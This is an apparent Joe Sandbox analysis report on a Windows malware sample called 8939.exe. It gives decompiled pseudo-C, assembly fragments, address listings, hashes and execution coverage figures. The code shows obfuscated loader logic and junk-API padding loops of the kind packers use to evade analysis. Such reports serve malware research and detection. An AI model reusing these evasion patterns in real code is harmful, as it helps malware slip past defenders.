				_t79 = _t78 |  *(_t74 + _t75 - 0x59614c49);
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t80 = _t79 |  *(_t74 + _t75 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t80);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t99 = (__fp0 - _t67[0x1a]) *  *_t67;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t68);
					asm("salc");
					_t99 = _t99 +  *_t74;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t26;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t26 = 0x49;
					_t69 = _t68 ^  *0xd05b5b70;
				} while ((_t68 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t73);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t74);
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t29 =  *_t80;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t29, 0x688e1679, _t73, _t74, 0x13eba4a4, 0x9b);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t32 = E004025E8(_t73, _t74, 0x9b); // executed
				_t91 = _t32;
				if(_t32 != 0) {
					if(E00401F34(_t73, _t91,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L17:
						_t96 = gs;
						if(gs != 0) {
							_t35 = 0x688e6ab7;
							_t65 = 0x2ef8;
						} else {
							_t35 = 0x688e471e;
							_t65 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t65);
						_push(_t35);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t69, _t96);
						_t37 = 0x2c1c;
						_t32 = E00401277(_t37, 0x688e1679, _t73, _t74, 0x13eba4a4, _t96);
					} else {
						_t32 = E00402255(_t99,  *((intOrPtr*)(0x13eba4a0)));
						_t93 = _t32;
						if(_t32 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t32 = L00402321(0x688e1679, _t73, _t74, _t93, _t99);
							_t94 = _t32;
							if(_t32 != 0) {
								_t32 = E00401FF1(_t94, _t99,  *((intOrPtr*)(0x13eba4a0)));
								if(_t32 != 0) {
									goto L17;
								}
							}
						}
					}
				}
				return _t32;
			}

0x00402b38
0x00402b38
0x00402b38
0x00402b38
0x00402b39
0x00402b3a
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000011.00000002.422348890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_7C86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction ID: 3e85d14ce6c36aa09c03589aa9c8c3521ff663fa5e1e86b555b0dc280717ecfe
Opcode Fuzzy Hash: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction Fuzzy Hash: 17412A31109101EFFB01AB51DF8A5AEB775FF19368B2000BBDC417A1D2D77E5A05DA16

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFB, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00402BFB(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;
				intOrPtr* _t30;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc al, 0x62");
				_push(0x2c1c);
				_t12 =  *_t30;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t35 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t35,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L11:
						_t40 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t40);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t40);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t37 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t37, __fp0);
							_t38 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t38, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L11;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402bfb
0x00402bfb
0x00402bfb
0x00402bfb
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000011.00000002.422348890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_7C86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction ID: 52cd7e5ac6ed9cc019fbfcf69bdf72a742899d53516448c63c37d0d49b3bd750
Opcode Fuzzy Hash: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction Fuzzy Hash: 7111213050C105EAFF01A6518F5E97E72699F01348F24007BAD42B52E2D7BD9F16B62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C01, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C01(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c01
0x00402c01
0x00402c01
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000011.00000002.422348890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_7C86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction ID: 94dd4e34baa45bb6a7d52d13517e1efb42c98130ce2376b8e4646defd1028816
Opcode Fuzzy Hash: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction Fuzzy Hash: D2011220118105F9FF0167528F1A97E75299F01348F24007BAC41B52E2DBBD8F15A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C12, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C12(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("a16 push es");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c12
0x00402c12
0x00402c12
0x00402c12
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000011.00000002.422348890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_7C86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction ID: 69eb8ccb3173368d7466cfbebad6b250e745b2528687b1428edbefbc5d99c229
Opcode Fuzzy Hash: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction Fuzzy Hash: 5001DE20518105FAFF01A6528F5A97E75699F01348F24007BAD42B52E2DBBD8F16AA2F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C16, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00402C16(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t33 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t33,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L6:
						_t38 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t38,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t38);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t35 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t35, __fp0);
							_t36 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t36, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L6;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c16
0x00402c16
0x00402c16
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000011.00000002.422348890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_7C86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction ID: 22f91f3ad527b43ded7c43fe05e3e31a54a2160e6f7bd47ea20a36d237ffec38
Opcode Fuzzy Hash: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction Fuzzy Hash: 4401CC20518105F9FF01B7628F1A9BE75699F00348F24007BBC41B52E6DBBD8F15AA2E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DF48, Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__cftof_l.LIBCMT ref: 0040DF6E

Part of subcall function 0040DD93: __fltout2.LIBCMT ref: 0040DDBF

__cftog_l.LIBCMT ref: 0040DF94
__cftoe_l.LIBCMT ref: 0040DFC6

Memory Dump Source

Source File: 00000011.00000002.422474758.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_409000_7C86.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 371dcc409b8a9c37bc45af426a8add198d970d59fd773847fc00fd30e5f9ded3
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 7B11803280014EBBCF125EC4CC41CEE3F22BF19354B198426FA1968171C23AC9B5AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 8939.exe PID: 6260 Parent PID: 3352 8939.exeCOMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	12.6%
Signature Coverage:	0%
Total number of Nodes:	310
Total number of Limit Nodes:	27

Executed Functions

Function 00419D77, Relevance: 257.8, APIs: 115, Strings: 32, Instructions: 523
timefilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00419D77(void* __edx, void* __fp0) {
				void* __edi;
				intOrPtr _t54;
				CHAR* _t56;
				intOrPtr _t90;
				void* _t197;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t202;
				void* _t205;
				void* _t206;
				void* _t207;
				void* _t211;
				void* _t213;
				intOrPtr _t235;
				void* _t236;

				_t200 = __edx;
				E0041A960(0x24f8);
				if( *0x55abe4 == 0x177) {
					E0041B390(0, 0, 0);
					E0041AFC0(_t199, 0, 0);
					E0041AF70(_t199, 0, 0);
					E0041AEF0(0);
					E0041AD00("0.0");
					st0 = __fp0;
					E0041AA80(_t199, 0);
					E0041AA50(_t199, 0, 0);
					E0041A9D0(_t199, 0);
					_t56 = E0041A9B0(0);
					_t213 = _t213 + 0x38;
				}
				_t201 = 0;
				L3:
				L3:
				if( *0x55abe4 == 0x47) {
					GetBinaryTypeA("hijaduvinijebup", _t213 + 0xc);
					SetCurrentDirectoryA("lakusoruhajunajiziheruxazoluyoloxujumazomeke");
					Process32NextW(0, 0);
					InitializeCriticalSection(0);
					QueryDosDeviceW(0, _t213 + 0xd08, 0);
					__imp__TerminateJobObject(0,  *(_t213 + 0xc));
					GlobalAddAtomW(L"Vozecitak mov");
					DeleteAtom(0);
					WriteProfileStringA("tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv", "wapejan", "mocisacatenu");
					GetFullPathNameA("Felerah cuhozazikesuzil", 0, _t213 + 0x108, 0);
					__imp__FindNextVolumeMountPointW(0, _t213 + 0x1508, 0);
					GetCompressedFileSizeA("wovag", _t213 + 0x18);
					GetNamedPipeInfo(0, 0, 0, 0, 0);
					lstrcpynA(_t213 + 0x50c, "Losufic vahafoj sovoculoziyaja dewofic", 0);
					GetProcessVersion(0);
					__imp__GetConsoleAliasesLengthW(0);
					__imp__UnregisterWait(0);
					__imp__GetProcessHandleCount(0, 0);
					CancelWaitableTimer(0);
					SetFileApisToANSI();
					CreateIoCompletionPort(0, 0, 0, 0);
					FindClose(0);
					SetEndOfFile(0);
					GetCommMask(0, 0);
					LocalLock(0);
					_t56 = OpenMutexW(0, 0, L"Wuhesuvugocu regacavac");
				}
				if(_t201 == 0x69d) {
					goto L8;
				}
				_t201 = _t201 + 1;
				if(_t201 < 0x1133661) {
					goto L3;
				} else {
				}
				L9:
				_t202 = 0;
				do {
					if(_t202 < 0x4cd) {
						GetLastError();
					}
					if( *0x55abe4 == 0x6b) {
						_t56 = HeapFree(0, 0, 0);
					}
					_t202 = _t202 + 1;
					 *0x5547d0 = 0;
				} while (_t202 < 0x1763459b);
				_t197 = 0;
				do {
					if(_t197 == 0x40d) {
						 *0x55abe4 =  *0x55abe4 + 0x12336;
					}
					if( *0x55abe4 == 0x44d) {
						 *(_t213 + 0xc) = 0;
						asm("stosw");
						WriteConsoleOutputCharacterA(0, "tifikekacejininomizewidixazodafetisutaxewuy", 0,  *(_t213 + 0x10), _t213 + 0x18);
						GetModuleHandleW(L"Xemov yoxociy pogi");
						GetNumberOfConsoleInputEvents(0, 0);
						FreeEnvironmentStringsA(0);
						GetWriteWatch(0, 0, 0, 0, 0, 0);
						__imp__GetConsoleAliasExesLengthW();
						_lopen(0, 0);
						FileTimeToLocalFileTime(_t213 + 0x3c, _t213 + 0x30);
						SetCommState(0, 0);
						EnumDateFormatsA(0, 0, 0);
						 *(_t213 + 0x1c) = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						TransactNamedPipe(0, 0, 0, _t213 + 0x510, 0, _t213 + 0x14, _t213 + 0x1c);
						WriteConsoleInputW(0, 0, 0, _t213 + 0x14);
						__imp__GetConsoleAliasExesLengthA();
						GetAtomNameW(0, _t213 + 0xd08, 0);
						FreeConsole();
						FlushConsoleInputBuffer(0);
						__imp__GetConsoleAliasA(0, _t213 + 0x10c, 0, 0);
						SetConsoleCP(0);
						__imp__VerSetConditionMask(0, 0, 0, 0);
						LockFile(0, 0, 0, 0, 0);
						SetSystemTime(0);
						__imp__SetThreadExecutionState(0);
						VerLanguageNameW(0, _t213 + 0x1d08, 0);
						_t56 = lstrcpyA(_t213 + 0x1508, "Hetitanutaf bebucoreko");
						__imp__SetFileShortNameW(0, 0);
					}
					_t197 = _t197 + 1;
				} while (_t197 < 0x486263);
				E00419B0E(_t56);
				_t205 = GetOverlappedResult;
				_t211 = 0;
				do {
					if( *0x55abe4 == 0xfd) {
						FreeEnvironmentStringsW(0);
					}
					if(_t211 == 0x3c58) {
						_t90 =  *0x440008; // 0x3f6fda
						 *0x55abe8 = _t90;
					}
					if( *0x55abe4 == 0x23) {
						CreateSemaphoreA(0, 0, 0, "tivomifuzasesufaholivikasekalene");
						GetLocalTime(0);
						EnumTimeFormatsW(0, 0, 0);
						FindResourceExW(0, L"helecebekuxesiwiwifomipuwudokatupibej", L"pahubahiwucijucemipapujivojadij", 0);
						GetPrivateProfileSectionNamesW(_t213 + 0x1d10, 0, 0);
						GetOverlappedResult(0, 0, 0, 0);
						WaitNamedPipeA(0, 0);
						TransmitCommChar(0, 0);
						CreateSemaphoreW(0, 0, 0, 0);
						GetBinaryTypeW(L"Dovi muyafohonifu zapojubocuwuh vuleh", _t213 + 0x18);
						PeekConsoleInputA(0, _t213 + 0x28, 0, _t213 + 0x14);
						BuildCommDCBA("Varihokegal vecu sahavujuv nemociyanuha lotom", _t213 + 0x44);
						__imp__UnregisterWaitEx(0, 0);
						GlobalLock(0);
						GetOverlappedResult(0, 0, 0, 0);
						GetProcAddress(0, 0);
						MoveFileExW(0, 0, 0);
						GetThreadContext(0, _t213 + 0x108);
						ResetEvent(_t213 + 0xb0);
						__imp__FindActCtxSectionStringA(0, 0, 0, "Cat tafugozeyab jumulizodunef sazu buxonisiz", _t213 + 0xc8);
						 *((intOrPtr*)(_t213 + 0x70)) = 0;
						E0041B3B0(_t205, _t213 + 0x6c, 0, 0x30);
						_t213 = _t213 + 0xc;
						SetDefaultCommConfigW(0, _t213 + 0x68, 0);
						lstrcmpW(0, 0);
						HeapUnlock(0);
						GetConsoleMode(0, 0);
						__imp__GetVolumePathNameA("Piruvora", _t213 + 0x150c, 0);
						MoveFileW(0, 0);
						Process32NextW(0, 0);
						GetFileAttributesExA("gukafipa", 0, _t213 + 0x508);
						GetDriveTypeA(0);
						TryEnterCriticalSection(_t213 + 0x98);
						GetPrivateProfileStructW(L"diponusohivasohopo", L"mawecamaxe", _t213 + 0xd10, 0, L"rixawibonagomukirak");
						WritePrivateProfileSectionA(0, 0, 0);
						GetPrivateProfileSectionW(0, 0, 0, 0);
						GetSystemTimeAdjustment(0, 0, 0);
					}
					_t211 = _t211 + 1;
				} while (_t211 < 0xe6a95);
				_t206 = 0;
				_t235 =  *0x55abe4; // 0xf480
				if(_t235 > 0) {
					do {
						E004198D9(_t206);
						_t206 = _t206 + 1;
						_t236 = _t206 -  *0x55abe4; // 0xf480
					} while (_t236 < 0);
				}
				_t207 = 0;
				do {
					if(_t207 == 0x26) {
						E00419A26(_t200);
					}
					_t207 = _t207 + 1;
				} while (_t207 < 0x3dc4b7);
				E00419B22(); // executed
				if( *0x55abe4 == 0x1d) {
					WriteConsoleW(0, 0, 0, _t213 + 0x18, 0);
					EndUpdateResourceW(0, 0);
					__imp__FindVolumeMountPointClose(0);
					DefineDosDeviceW(0, 0, 0);
					InterlockedExchange(_t213 + 0x14, 0);
					SetMailslotInfo(0, 0);
					GetTapeParameters(0, 0, _t213 + 0x1c, _t213 + 0xd04);
					__imp__CreateActCtxW(_t213 + 0x40);
					FindCloseChangeNotification(0);
					GlobalFindAtomA("Hiwejanoji");
					TerminateProcess(0, 0);
					__imp__GetSystemWindowsDirectoryW(_t213 + 0x1d08, 0);
					GetVersion();
					SetConsoleMode(_t213 + 0x10, 0);
					 *(_t213 + 0x1c) = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					WriteFile(0, _t213 + 0x1510, 0, _t213 + 0x34, _t213 + 0x1c);
					lstrcmpA("Vaguxabufereg godid vefas nehesuh", "Pusazide");
					GetPrivateProfileSectionW(L"bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi", _t213 + 0x50c, 0, L"suxehecumugilodagaduvixevexirificiseracipefi");
					DebugBreak();
					__imp__DeleteVolumeMountPointA("hukujid");
				}
				return 0;
				L8:
				_t54 =  *0x440160; // 0xffffd14a
				 *0x55abe4 = _t54;
				goto L9;
			}

0x00419d77
0x00419d7c
0x00419d90
0x00419d95
0x00419d9c
0x00419da3
0x00419da9
0x00419db3
0x00419db8
0x00419dbb
0x00419dc2
0x00419dc8
0x00419dce
0x00419dd3
0x00419dd3
0x00419dd6
0x00000000
0x00419dd8
0x00419ddf
0x00419def
0x00419dfa
0x00419e02
0x00419e08
0x00419e18
0x00419e23
0x00419e2e
0x00419e35
0x00419e4a
0x00419e5f
0x00419e6f
0x00419e7f
0x00419e8a
0x00419e9e
0x00419ea5
0x00419eac
0x00419eb3
0x00419ebb
0x00419ec2
0x00419ec8
0x00419ed2
0x00419ed9
0x00419ee0
0x00419ee8
0x00419eef
0x00419efc
0x00419efc
0x00419f08
0x00000000
0x00000000
0x00419f0a
0x00419f11
0x00000000
0x00000000
0x00419f17
0x00419f23
0x00419f23
0x00419f25
0x00419f2b
0x00419f2d
0x00419f2d
0x00419f3a
0x00419f3f
0x00419f3f
0x00419f45
0x00419f4c
0x00419f4c
0x00419f54
0x00419f56
0x00419f5c
0x00419f5e
0x00419f5e
0x00419f72
0x00419f7a
0x00419f83
0x00419f95
0x00419fa0
0x00419fa8
0x00419faf
0x00419fbb
0x00419fc1
0x00419fc9
0x00419fd9
0x00419fe1
0x00419fea
0x00419ff2
0x00419ffa
0x00419ffb
0x00419ffc
0x00419ffd
0x0041a014
0x0041a022
0x0041a028
0x0041a038
0x0041a03e
0x0041a045
0x0041a056
0x0041a05d
0x0041a067
0x0041a072
0x0041a079
0x0041a080
0x0041a090
0x0041a0a2
0x0041a0aa
0x0041a0aa
0x0041a0b0
0x0041a0b1
0x0041a0be
0x0041a0c3
0x0041a0cf
0x0041a0d1
